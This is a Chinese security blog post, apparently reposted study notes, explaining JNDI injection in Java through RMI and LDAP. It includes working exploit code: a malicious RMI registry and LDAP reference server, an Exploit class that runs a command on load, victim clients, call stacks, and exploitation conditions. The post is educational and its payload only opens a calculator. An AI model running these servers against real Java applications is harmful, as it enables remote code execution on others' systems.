入坑Java安全之JNDI注入

admin 2025年2月20日19:52:04评论8 views字数 8458阅读28分11秒阅读模式

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!

0x00 前言

最近在学习SpringMVC,刚好学到了Jackson与Fastjon,本来想借着环境顺手写一下Fastjson的反序列化,但想到自己还没有详细的学习JNDI注入,光拿个Poc跑也不知道咋回事儿,于是便有了这篇站在巨人肩膀上学习JNDI注入的水文。

0x02 概念

JNDI

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

我是这么理解的:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

入坑Java安全之JNDI注入

RMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

我是这么理解的:把在远程机器上跑的方法通过特定方式拉到本地来用

入坑Java安全之JNDI注入

LDAP

LDAP:(Lightweight Directory Access Protocol) 轻量目录访问协议,目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

可以这么理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个键进去,就能获取到对应的值

0x03 例子

RMI

恶意rmi服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer {    public static void main(String[] args) throws AlreadyBoundException {        try {            // 创建并导出接受指定 port 请求的本地主机上的 Registry 实例            Registry registry = LocateRegistry.createRegistry(1099);            // 将 Exploit.class 挂载到 http://127.0.0.1:8081/            Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8081/");            ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);            // 绑定对此注册表中指定 name 的远程引用            registry.bind("hello",refObjWrapper);        } catch (RemoteException | NamingException e) {            e.printStackTrace();        }    }}

期望受害者加载的恶意类

import java.io.IOException;public class Exploit{    // 静态代码块, 当类被加载时调用    static    {        try {            Runtime.getRuntime().exec("calc");            System.out.println("我在客户端输出");        } catch (IOException e) {            e.printStackTrace();        }    }}

受害端

import javax.naming.Context;import javax.naming.InitialContext;public class RMIClient{    public static void main(String[] args) {        try {            // 设置trustURLCodebase的值为true, 防止远程调用失败            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");            String uri = "rmi://192.168.52.4:1099/hello";            // 此类是执行命名操作的初始上下文            Context ctx = new InitialContext();            // 返回绑定到 uri 的对象            ctx.lookup(uri);        } catch (Exception e) {            System.out.println("问题不大");        }    }}

运行受害端,成功远程加载恶意类弹出计算器,这里触发的关键就在于lookup()方法,在2016年的Blackhat大会上指出问题在于NamingManager类的getObjectFactoryFromReference方法上,我们调试一下,看看程序究竟怎么远程加载恶意类的

入坑Java安全之JNDI注入

首先是客户端通过 InitialContext类的lookup()方法加载我们的rmi服务端

入坑Java安全之JNDI注入

获取上下文后通过GenericURLContext类的lookup()方法对传入的name进行解析

入坑Java安全之JNDI注入

此时客户端查询service,向RMI Registy请求Reference存根,并继续调用RegistryContext的lookup()方法

入坑Java安全之JNDI注入

跟进lookup(),stub经过处理后传入decodeObject(),从命名上应该是是对类对象进行解析

入坑Java安全之JNDI注入

继续跟进,发现确实是将数据进行了解析,并将结果传递给NamingManager类的getObjectInstance()

入坑Java安全之JNDI注入

这个方法做的事情就比较多了,它会判断给定的class是否存在

入坑Java安全之JNDI注入

如果不存在则从远端(指定的url)动态加载

入坑Java安全之JNDI注入

没错,getObjectFactoryFromReference()的作用就是加载我们的恶意类,并且调用insClassName的无参构造函数,所以可以在构造函数里写恶意代码,当然这里我们也可以用静态方法

入坑Java安全之JNDI注入

最终加载我们的恶意类,弹出计算器

入坑Java安全之JNDI注入

完整的调用链

<clinit>:9, ExploitforName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:72, VersionHelper12 (com.sun.naming.internal)loadClass:61, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)getObjectInstance:319, NamingManager (javax.naming.spi)decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)lookup:138, RegistryContext (com.sun.jndi.rmi.registry)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:417, InitialContext (javax.naming)main:12, RMIClien

LDAP

LDAP可以为其中存储的Java对象提供多种属性,这里主要用到javacodebase指定远程url,该url就是我们的恶意类Exploit

入坑Java安全之JNDI注入

大佬改写的LDAP Server

import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;/** * LDAP server implementation returning JNDI references * * @author mbechler * */public class LdapSer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main (String[] args) {        int port = 2389;        String url = "http://127.0.0.1/#Exploit";        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor{        private URL codebase;        public OperationInterceptor ( URL cb ){            this.codebase = cb;        }        /**         * {@inheritDoc}         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)         */        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "Exploit");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

需要配置下maven依赖

<dependencies>    <!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->    <dependency>        <groupId>com.unboundid</groupId>        <artifactId>unboundid-ldapsdk</artifactId>        <version>4.0.9</version>        <scope>test</scope>    </dependency>    <dependency>        <groupId>com.unboundid</groupId>        <artifactId>unboundid-ldapsdk</artifactId>        <version>4.0.9</version>        <scope>compile</scope>    </dependency>    <dependency>        <groupId>commons-collections</groupId>        <artifactId>commons-collections</artifactId>        <version>3.1</version>    </dependency></dependencies>

这里同样使用之前的RMIClient

import javax.naming.Context;import javax.naming.InitialContext;public class Client{    public static void main(String[] args) {        try {            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");            String uri = "ldap://192.168.52.4:2389/Exploit";            Context ctx = new InitialContext();            ctx.lookup(uri);        } catch (Exception e) {            e.printStackTrace();        }    }}

RMIClient通过lookup()解析我们的ldap服务端时,会通过doSearchOnce()向我们的ldap服务器发起请求,来获取LdapEntry

入坑Java安全之JNDI注入

RMIClient会向我们请求键为Exploit的值,此时我们将构造好的恶意Reference返回给客户端

Entry e = new Entry(base);...e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());

入坑Java安全之JNDI注入

接着通过getObjectInstance()去加载恶意类,剩下的就跟RMI的流程一致了

入坑Java安全之JNDI注入

调用栈

<clinit>:8, ExploitforName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:72, VersionHelper12 (com.sun.naming.internal)loadClass:61, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)main:10, Client

这里还有一种利用方式,那就是当javaSerializedData属性值不为空时,会进行反序列化

入坑Java安全之JNDI注入

所以这里可以使用ysoserial玩一个计算器,Windows下的certutil.exe可以对文件内容进行base64编码

入坑Java安全之JNDI注入

这里我尝试反序列化的时候,var1死活取不到值,可我明明已经设置了,或许是jdk版本的问题,留个坑吧

入坑Java安全之JNDI注入

0x04 小结

利用条件:

  • lookup()参数可控

  • InitialContext类及他的子类的lookup方法允许动态协议转换

  • JDK11.0.1、8u191、7u201、6u211之前可直接利用(之后通过加载本地类绕过)

攻击方式:

  • RMI:通过JDNI Reference远程调用方法攻击

  • LDAP:通过序列化对象、JDNI Reference进行攻击

原文始发于微信公众号(安全日记):入坑Java安全之JNDI注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日19:52:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入坑Java安全之JNDI注入https://cn-sec.com/archives/1023346.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息